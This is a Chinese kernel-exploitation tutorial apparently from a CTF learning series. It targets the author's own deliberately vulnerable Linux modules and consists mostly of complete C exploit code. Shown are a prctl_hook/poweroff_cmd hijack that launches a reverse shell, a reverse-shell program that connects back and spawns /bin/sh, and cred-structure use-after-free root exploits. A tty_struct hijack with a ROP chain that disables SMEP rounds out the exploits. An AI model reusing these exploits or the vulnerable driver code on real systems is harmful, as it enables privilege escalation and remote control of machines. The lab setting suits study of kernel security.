image-20211021002640262

而call_usermodehelpe函数启动程序时是以root权限启动的,所以如果我们的程序运行/bin/sh且以root权限启动,那么就完成了提权。

(3)获取地址

①prctl_hook

可以通过编写一个小程序,然后给security_task_prctl函数下断点,运行到call QWORD PTR[rbx+0x18]即可看到对应的rbx+0x18上存放的地址,将其修改为orderly_poweroff函数即可。

②poweroff_cmd、orderly_poweroff

可以直接使用nm命令来获取,或者直接进入gdb打印即可。

image-20211021105456058

此外orderly_poweroff也是一样的获取。如果无法查到,那么可以启动qemu,先设置为root权限后

cat /proc/kallsyms | grep "orderly_poweroff"即可,或者编译一个对应版本的内核进行查询。

image-20211021105603666

▲最后fork一个子进程来触发反弹shell即可

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
// gcc -static exp.c -o exp

//ffffffff812adb90 T security_task_prctl


#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <sys/time.h>
#include <sys/auxv.h>


//poweroff字符串的偏移
#define POWEROFF_CMD 0xe39c40
//orderly_poweroff函数的偏移
#define ORDERLY_POWEROFF 0x070060
//prctl_hook的偏移
#define PRCTL_HOOK 0xe7c7d8;


struct arbWriteNote
{
ssize_t addr;
ssize_t len;
char* data;
};
struct arbWriteNote arbWriteObj;


//open dev
int openDev(char* pos);
int get_gettimeofday_str_offset();

int main(int argc, char *argv[])
{
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);

int devFD;

//open Dev
char* pos = "/dev/arbWriteModule";
devFD = openDev(pos);


// //set comm[TASK_COMM_LEN]
// char target[16];
// strcpy(target,"tryToFindPIG007");
// prctl(PR_SET_NAME,target);


char *buf = (char *)calloc(1,0x1000);


int gettimeofday_str_offset = get_gettimeofday_str_offset();
printf("gettimeofday str in vdso.so offset=0x%x\n",gettimeofday_str_offset);
size_t vdso_addr = -1;
for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {
//读取一页数据
arbitrary_read(devFD,0x1000,buf,addr);
//如果在对应的偏移处,正好是这个字符串,那么我们就能确定当前就是vdso的地址
//之所以能确定,是因为我们每次读取了0x1000字节数据,也就是1页,而vdso的映射也只是1页
if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) {
printf("[+]find vdso.so!!\n");
vdso_addr = addr;
printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr);
break;
}
}
if (vdso_addr == -1) {
printf("[-]can't find vdso.so!!\n");
}

//计算出kernel基地址
size_t kernel_base = vdso_addr & 0xffffffffff000000;
printf("[+]kernel_base=0x%lx\n",kernel_base);
size_t poweroff_cmd_addr = kernel_base + POWEROFF_CMD;
printf("[+]poweroff_cmd_addr=0x%lx\n",poweroff_cmd_addr);
size_t orderly_poweroff_addr = kernel_base + ORDERLY_POWEROFF;
printf("[+]orderly_poweroff_addr=0x%lx\n",orderly_poweroff_addr);
size_t prctl_hook_addr = kernel_base + PRCTL_HOOK;
printf("[+]prctl_hook_addr=0x%lx\n",prctl_hook_addr);
//反弹shell,执行的二进制文件,由call_usermodehelper来执行,自带root
char reverse_command[] = "/reverse_shell";
//修改poweroff_cmd_addr处的字符串为我们需要执行的二进制文件的路径
arbitrary_write(devFD,strlen(reverse_command),reverse_command,poweroff_cmd_addr);
//hijack prctl,使得task_prctl指向orderly_poweroff函数
arbitrary_write(devFD,0x8,&orderly_poweroff_addr,prctl_hook_addr);
if (fork() == 0) { //fork一个子进程,来触发shell的反弹
prctl(0,0);
exit(-1);
} else {
printf("[+]open a shell\n");
system("nc -lvnp 7777");
}

return 0;
}


int openDev(char* pos){
int devFD;
printf("[+] Open %s...\n",pos);
if ((devFD = open(pos, O_RDWR)) < 0) {
printf(" Can't open device file: %s\n",pos);
exit(1);
}
return devFD;
}


//获取vdso里的字符串"gettimeofday"相对vdso.so的偏移
int get_gettimeofday_str_offset() {
//获取当前程序的vdso.so加载地址0x7ffxxxxxxxx
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
if (!vdso_addr) {
printf("[-]error get name's offset\n");
}
//仅需要搜索1页大小即可,因为vdso映射就一页0x1000
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0) {
printf("[-]error get name's offset\n");
}
return name_addr - vdso_addr;
}

void arbitrary_read(int devFD,int len,char *buf,size_t addr)
{
arbWriteObj.len = len;
arbWriteObj.data = buf;
arbWriteObj.addr = addr;
ioctl(devFD,111,&arbWriteObj);
}

void arbitrary_write(int devFD,int len,char *buf,size_t addr)
{
arbWriteObj.len = len;
arbWriteObj.data = buf;
arbWriteObj.addr = addr;
ioctl(devFD,222,&arbWriteObj);
}

反弹Shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc,char *argv[])
{
//system("chmod 777 /flag");


int sockfd,numbytes;
char buf[BUFSIZ];
struct sockaddr_in their_addr;
printf("break!");
while((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1);
printf("We get the sockfd~\n");
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(7777);
their_addr.sin_addr.s_addr=inet_addr("127.0.0.1");
bzero(&(their_addr.sin_zero), 8);

while(connect(sockfd,(struct sockaddr*)&their_addr,sizeof(struct sockaddr)) == -1);
dup2(sockfd,0);
dup2(sockfd,1);
dup2(sockfd,2);
system("/bin/sh");

return 0;

}

或者直接system("chmod 777 /flag");也是获取flag的一种方式。

▲vdso的劫持一直没有复现成功过,明明已经劫持gettimeofday函数的内容为shellcode,然后也挂载了循环调用gettimeofday的程序,但是就是运行不了shellcode。

参考:

Kernel Pwn 学习之路 - 番外 - 安全客,安全资讯平台 (anquanke.com)

https://www.jianshu.com/p/07994f8b2bb0

https://blog.csdn.net/seaaseesa/article/details/104695399

pwnKernel从0开始(三)

前言

这里就尝试用堆来解题,由于kernel的解法多种多样,这里我们从最简单的UAF入手

给出自己设计的堆题目,存在很多的漏洞,read越界读,edit越界写,UAF,Double Free等:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>

//设备驱动常用变量
//static char *buffer_var = NULL;
static char *buffer_var = NULL;
static struct class *devClass; // Global variable for the device class
static struct cdev cdev;
static dev_t stack_dev_no;


struct note
{
int idx;
int len;
char* data;
};


//static char* notelist[1000];
static char* notelist[1000];
static struct note* noteChunk;
static int count = 0;



static ssize_t stack_read(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos);

static ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos);

static long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);

static int stack_open(struct inode *i, struct file *f);

static int stack_close(struct inode *i, struct file *f);



static struct file_operations stack_fops =
{
.owner = THIS_MODULE,
.open = stack_open,
.release = stack_close,
.write = stack_write,
.read = stack_read,
.unlocked_ioctl = stack_ioctl
};

// 设备驱动模块加载函数
static int __init stack_init(void)
{
printk(KERN_INFO "[i] Module stack registered");
if (alloc_chrdev_region(&stack_dev_no, 0, 1, "stack") < 0)
{
return -1;
}
if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)
{
unregister_chrdev_region(stack_dev_no, 1);
return -1;
}
if (device_create(devClass, NULL, stack_dev_no, NULL, "stack") == NULL)
{
printk(KERN_INFO "[i] Module stack error");
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no, 1);
return -1;
}
cdev_init(&cdev, &stack_fops);
if (cdev_add(&cdev, stack_dev_no, 1) == -1)
{
device_destroy(devClass, stack_dev_no);
class_destroy(devClass);
unregister_chrdev_region(stack_dev_no, 1);
return -1;
}

printk(KERN_INFO "[i] <Major, Minor>: <%d, %d>\n", MAJOR(stack_dev_no), MINOR(stack_dev_no));
return 0;
}

// 设备驱动模块卸载函数
static void __exit stack_exit(void)
{
// 释放占用的设备号
unregister_chrdev_region(stack_dev_no, 1);
cdev_del(&cdev);
}


// 读设备
ssize_t stack_read(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos)
{
printk(KERN_INFO "Stack_read function" );
copy_to_user(buf,buffer_var,len);
}

// 写设备
ssize_t stack_write(struct file *filp, const char __user *buf,
size_t len, loff_t *f_pos) //buffer overflow
{
printk(KERN_INFO "Stack_write function" );
copy_from_user(buffer_var, buf, len);
printk("[i] Module stack write: %s\n",buffer_var);
return len;
}



// ioctl函数命令控制
long stack_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
char* chunk = NULL;
int retval = 0;
printk(KERN_INFO "Ioctl Get!\n");
printk("notelist_addr:0x%llx\n",&notelist[0]);
switch (cmd) {

case 1://add
//noteChunk = (char *)kmalloc(sizeof(struct Note),GFP_KERNEL);
//copy_from_user(noteChunk, arg, sizeof(struct Note));

printk("Kernel Add function!---001\n");
noteChunk = (struct Note*)arg;
chunk = (char *)kmalloc(noteChunk->len,GFP_KERNEL);
printk("chunk_addr:0x%llx\n",chunk);
if (!chunk)
{
printk("Alloca Error\n");
return 0;
}
memcpy(chunk, noteChunk->data,noteChunk->len);
notelist[count] = chunk;
chunk = NULL;
count ++;
printk("Add Success!\n");
break;

case 888: //free without clean point and data
printk("Kernel Free function!---888\n");
noteChunk = (struct Note*)arg;
printk("notelist:0x%llx\n",notelist[noteChunk->idx]);
if (notelist[noteChunk->idx])
{
kfree(notelist[noteChunk->idx]);
//notelist[noteChunk->idx] = NULL;
printk("Free Success!\n");
}
else
{
printk("You can't free it!There is no chunk!\n");
}
break;

case 3://edit //UAF and overflow
printk("Kernel Edit function!---003\n");
noteChunk = (struct Note*)arg;
if (notelist[noteChunk->idx])
{
memcpy(notelist[noteChunk->idx], noteChunk->data,noteChunk->len);
printk("Edit Success!\n");
}
else
{
printk("You can't edit it!There is no chunk!\n");
}
break;

case 4://read //over read
printk("Kernel Read function!---004\n");
noteChunk = (struct Note*)arg;
if(notelist[noteChunk->idx]){
copy_to_user(noteChunk->data,notelist[noteChunk->idx],noteChunk->len);
printk("Read Success!\n");
}
break;

case 111: //Test add chunk
printk("Test add chunk!---111\n");
printk(KERN_INFO "No buffer_var!Malloc now!" );
buffer_var=(char*)kmalloc(0xa8,GFP_KERNEL);
printk("buffer_var:0x%llx\n",buffer_var);
break;

default:
retval = -1;
break;
}

return retval;
}


static int stack_open(struct inode *i, struct file *f)
{
printk(KERN_INFO "[i] Module stack: open()\n");
return 0;
}

static int stack_close(struct inode *i, struct file *f)
{
kfree(buffer_var);
//buffer_var = NULL;
printk(KERN_INFO "[i] Module stack: close()\n");
return 0;
}

module_init(stack_init);
module_exit(stack_exit);

MODULE_LICENSE("GPL");
// MODULE_AUTHOR("blackndoor");
// MODULE_DESCRIPTION("Module vuln overflow");

一、利用Cred结构体提权

1.正常UAF

前置知识

由于是UAF漏洞,所以直接尝试再重启一个进程,这样新进程启动时就会申请一个Cred结构体(这里大小为0xa8)。而如果此时申请的结构体恰好落在我们释放过的堆块上,那么我们就可以利用UAF漏洞修改Cred结构体,将其uid和gid改为0,再利用该进程原地起shell,就能获得root权限的shell了。

这里同样需要一点前置知识,之前也写过类似的,其实就相当于修改某个进程的cred结构体中的uid和gid就能将该进程提权了,之后利用提权后的进程起shell得到的shell就是提权后的shell。

比较简单,这里直接给

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>


struct addNote
{
size_t len;
char* data;
};

struct editNote
{
size_t idx;
size_t len;
char* data;
};



//open dev
int openDev(char* pos);
void addFun(int fd,struct addNote* arg);
void freeFun(int fd,struct editNote* arg);
void editFun(int fd,struct editNote* arg);
void readFun(int fd,struct editNote* arg);


int main(int argc, char *argv[])
{
int fd;
int idFork;
unsigned long memOffset;
struct addNote addChunk;
struct editNote readChunk;
struct editNote editChunk;

//open Dev
char* pos = "/dev/stack";
fd = openDev(pos);

char credBuf[0xa8] = {0};
addChunk.len = 0xa8;
addChunk.data = credBuf;
addFun(fd,&addChunk);

editChunk.idx = 0;
freeFun(fd,&editChunk);

idFork = fork();
editChunk.data = credBuf;
editChunk.len = 28;
if(idFork == 0){
//get into 28*0 to set uid and gid 0
editFun(fd,&editChunk);
if(getuid() == 0){
printf("[*]welcome root:\n");
system("/bin/sh");
return 0;
}
}
else if(idFork < 0){
printf("[*]fork fail\n");
}
else{
wait(NULL);
}

return 0;

}


int openDev(char* pos){
int fd;
printf("[+] Open %s...\n",pos);
if ((fd = open(pos, O_RDWR)) < 0) {
printf(" Can't open device file: %s\n",pos);
exit(1);
}
return fd;
}

void addFun(int fd, struct addNote* arg)
{
ioctl(fd,1,arg);
}

void freeFun(int fd, struct editNote* arg)
{
ioctl(fd,888,arg);
}

void editFun(int fd, struct editNote* arg)
{
ioctl(fd,3,arg);
}

void readFun(int fd, struct editNote* arg)
{
ioctl(fd,4,arg);
}

这里还需要说明的是,cred结构体大小在我编译的4.4.72中为0xa8,在不同内核版本可能不同,通常可以查看对应版本的Linux内核源码或者写个简便的C程序运行一下即可知道。

2.伪条件竞争造成的UAF(多进程)

前置知识

前面我们的UAF是正常的指针未置空的UAF,但如果在程序中是add函数申请chunk,只有在关闭设备时才会释放chunk。那么这样当我们对一个设备进行操作时,只有在关闭设备时才能释放chunk,这就无法显著地造成UAF。但是如果能够对同一个设备打开两次 (操作符分别为fd1,fd2) ,申请一个堆块后,关闭掉第一个设备fd1后,就能释放该堆块。之后利用fd2继续对设备进行写操作,就能够继续修改释放掉的堆块了,这样就造成了一个UAF漏洞。同样也是利用cred结构体进行提权。

同样直接给出poc即可

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>





struct addNote
{
size_t len;
char* data;
};

struct editNote
{
size_t idx;
size_t len;
char* data;
};


//open dev
int openDev(char* pos);
void addFun(int fd,struct addNote* arg);
void freeFun(int fd,struct editNote* arg);
void editFun(int fd,struct editNote* arg);
void readFun(int fd,struct editNote* arg);


int main(int argc, char *argv[])
{
int fd1,fd2;
int idFork,idBefore;
unsigned long memOffset;
struct addNote addChunk;
struct editNote readChunk;
struct editNote editChunk;
//char *mycred;

//mycred = current_user_ns();
//printf("Cred_addr:0x%llx\n",mycred);

//open Dev
char* pos = "/dev/stack";
char credBuf[0xa8] = {0};
fd1 = openDev(pos);
fd2 = openDev(pos);
ioctl(fd1,111,editChunk); //test add
close(fd1);

idFork = fork();
printf("idFork:%d\n",idFork);

if(idFork == 0){
//get into 28*0 to set uid and gid 0
idBefore = getuid();
printf("Before uid:%d\n",idBefore);
write(fd2, credBuf, 28);

if(getuid() == 0){
printf("[*]welcome root:\n");
system("/bin/sh");
return 0;
}
}
else if(idFork < 0){
printf("[*]fork fail\n");
}
else{
wait(NULL);
}

return 0;

}


int openDev(char* pos){
int fd;
printf("[+] Open %s...\n",pos);
if ((fd = open(pos, O_RDWR)) < 0) {
printf(" Can't open device file: %s\n",pos);
exit(1);
}
return fd;
}

void addFun(int fd, struct addNote* arg)
{
ioctl(fd,1,arg);
}

void freeFun(int fd, struct editNote* arg)
{
ioctl(fd,888,arg);
}

void editFun(int fd, struct editNote* arg)
{
ioctl(fd,3,arg);
}

void readFun(int fd, struct editNote* arg)
{
ioctl(fd,4,arg);
}


二、劫持tty_struct结构体

这个真是调了我无敌久。

原理

1.函数调用链

entry_SYSCALL_64->SyS_write->SYSC_write->vfs_write

->__vfs_write->tty_write->do_tty_write->n_tty_write->pty_write

这里我们需要的就是劫持某个结构体,从而使得原本通过该结构体调用pty_write函数指针变为调用我们的ROP链条。

2.劫持栈

由于用户空间和内核空间得返回进入需要用到栈,所以一般需要进行栈劫持,这里我们可以看到当通过ptmx进入其write函数时,rax为从tty_struct中获取的operations* ops指针,而此时该指针已经被我们劫持了,所以如果有类似于mov rsp,rax之类的gadget就能将栈劫持到我们可控的operations* ops指针指向的内存处,那么之后就很容易进行内核和用户空间的转换。

这里就用到常用的一个gadget

movRspRax_decEbx_ret

image-20211011000008800

3.结构体

这个之前也是讲过的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;

/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;

struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;

struct tty_struct *link;
struct fasync_struct *fasync;
int alt_speed; /* For magic substitution of 38400 bps */
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
};

当我们打开ptmx设备时,会使用kmalloc申请这个tty_struct结构,如果存在一个UAF漏洞,那么就可以将该tty_struct申请为我们释放掉的一个chunk,其中重要的是int magic;和const struct tty_operations *ops;这两个结构体成员。

magic成员

这个在网上很多人都直接将其设置为0,但是在某些版本中,如果直接设置为0,通常可能出现以下的错误:

image-20211010233205104

也就是magic number检测错误,这个经过调试可以发现,实际申请结构体之后是不变的:

Snipaste_2021-10-10_23-37-19

可以得到如下的数值

image-20211010233844033

这个在后面的数值设置中可以用到,需要我们来调试才可以,不然其实如果直接设置为0也容易出错。

另外其中的driver可以设置为0,所以一般直接设置tty_struct[3]和tty_struct[0]即可。

ops成员

这个const struct tty_operations *ops结构体指针在该做法里被劫持为我们设置fake_operations指针,有如下结构体,设置fake_operations中的write函数指针为ROP链条,就可以通过调用ptmx设备中的write函数,从而调用到我们设置的ROP链条。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
const struct file_operations *proc_fops;
};

image-20211010234216013

4.最终结构

fake_tty_struct结构体

image-20211010235017786

fake_tty_operation结构体

image-20211010235311913

image-20211010235416812

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include <linux/tty.h>


struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
unsigned long user_sp;

#define tty_size 0x2e0


struct addNote
{
size_t len;
char* data;
};

struct editNote
{
size_t idx;
size_t len;
char* data;
};



//ROP func
unsigned long findAddr();
void save_state();
void getroot (void);
void shell(void);

//open dev
int openDev(char* pos);
void addFun(int fd,struct addNote* arg);
void freeFun(int fd,struct editNote* arg);
void editFun(int fd,struct editNote* arg);
void readFun(int fd,struct editNote* arg);


int main(int argc, char *argv[])
{
int fd,fd_tty;
char buf[0x10];
int i = 0;
unsigned long memOffset;
struct addNote addChunk;
struct editNote readChunk;
struct editNote editChunk;

unsigned long smpOffset = 0x1146000;
memOffset = findAddr();

//debug kernel
unsigned long vmBase = memOffset - smpOffset;
unsigned long pop_rdi_ret = vmBase + 0x3d032d;
unsigned long pop_rax_rbx_r12_r13_rbp_ret = vmBase + 0x46c45e;
unsigned long movCr4Rdi_pop_rbp_ret = vmBase + 0x004c40;
unsigned long movRspRax_decEbx_ret = vmBase + 0x805115;
unsigned long swapgs_sysret = (unsigned long)vmBase + 0x60ba2;
unsigned long swapgs_popRbp_ret = (unsigned long)vmBase + 0x60394;
unsigned long iretq = (unsigned long)vmBase + 0x803857;
unsigned long getR = (unsigned long)getroot;
unsigned long sh = (unsigned long)shell;
unsigned long sp;
size_t rop[32];

commit_creds = (commit_creds_t)(vmBase + 0x9f4a0);
prepare_kernel_cred = (prepare_kernel_cred_t)(vmBase + 0x9f870);


// unsigned long vmBase = memOffset - smpOffset;
// unsigned long pop_rdi_ret = vmBase + 0xFE3542;

// unsigned long pop_rax_rbx_r12_rbp_ret = vmBase + 0x3794b9;
// unsigned long movCr4Rax_pop_rbp_ret = vmBase + 0xe0e4;
// unsigned long movRspRax_decEbx_ret = vmBase + 0x8841CF;
// unsigned long getR = (unsigned long)getroot;
// unsigned long swapgs_ret = (unsigned long)vmBase + 0x884188;
// unsigned long iretq = (unsigned long)vmBase + 0x882d77;
// unsigned long sh = (unsigned long)shell;

//print part
printf("pop_rdi_ret:0x%llx\n",pop_rdi_ret);
printf("movCr4Rdi_pop_rbp_ret:0x%llx\n",movCr4Rdi_pop_rbp_ret);
printf("movRspRax_decEbx_ret:0x%llx\n",movRspRax_decEbx_ret);
printf("iretq:0x%llx\n",iretq);

//open Dev
char* pos = "/dev/stack";
fd = openDev(pos);
char ttyBuf[tty_size] = {'0'};
addChunk.len = tty_size;
addChunk.data = ttyBuf;
addFun(fd,&addChunk);


void* fake_tty_operations[30];
for(int i = 0; i < 30; i++)
{
fake_tty_operations[i] = movRspRax_decEbx_ret;
}
fake_tty_operations[0] = pop_rax_rbx_r12_r13_rbp_ret;
fake_tty_operations[1] = (size_t)rop;

size_t fake_tty_struct[4] = {0};
fake_tty_struct[0] = 0x0000000100005401;//need to set magic number
fake_tty_struct[1] = 0;
fake_tty_struct[2] = 0;
fake_tty_struct[3] = (size_t)fake_tty_operations;



editChunk.idx = 0;
editChunk.len = 0x20;
editChunk.data = fake_tty_struct;

freeFun(fd,&editChunk);

pos = "/dev/ptmx";
fd_tty = openDev(pos);
printf("fd_tty:0x%d\n",fd_tty);
editFun(fd, &editChunk);


//rop set
save_state();
rop[i++] = pop_rdi_ret; // pop_rax_rbx_r12_rbp_ret
rop[i++] = 0x6f0;
rop[i++] = movCr4Rdi_pop_rbp_ret; // mov cr4, rax; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)getR;
rop[i++] = swapgs_popRbp_ret; // swapgs;ret
rop[i++] = 0x0;
rop[i++] = iretq; // iretq
rop[i++] = (size_t)sh;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd_tty,buf,0x10);

return 0;

}


int openDev(char* pos){
int fd;
printf("[+] Open %s...\n",pos);
if ((fd = open(pos, O_RDWR)) < 0) {
printf(" Can't open device file: %s\n",pos);
exit(1);
}
return fd;
}

void addFun(int fd, struct addNote* arg)
{
ioctl(fd,1,arg);
}

void freeFun(int fd, struct editNote* arg)
{
ioctl(fd,888,arg);
}

void editFun(int fd, struct editNote* arg)
{
ioctl(fd,3,arg);
}

void readFun(int fd, struct editNote* arg)
{
ioctl(fd,4,arg);
}


void save_state() {
__asm__("mov %cs,user_cs;"
"mov %ss,user_ss;"
"mov %rsp,user_sp;"
"pushf;"
"pop user_rflags;"
);
puts("user states have been saved!!");
}


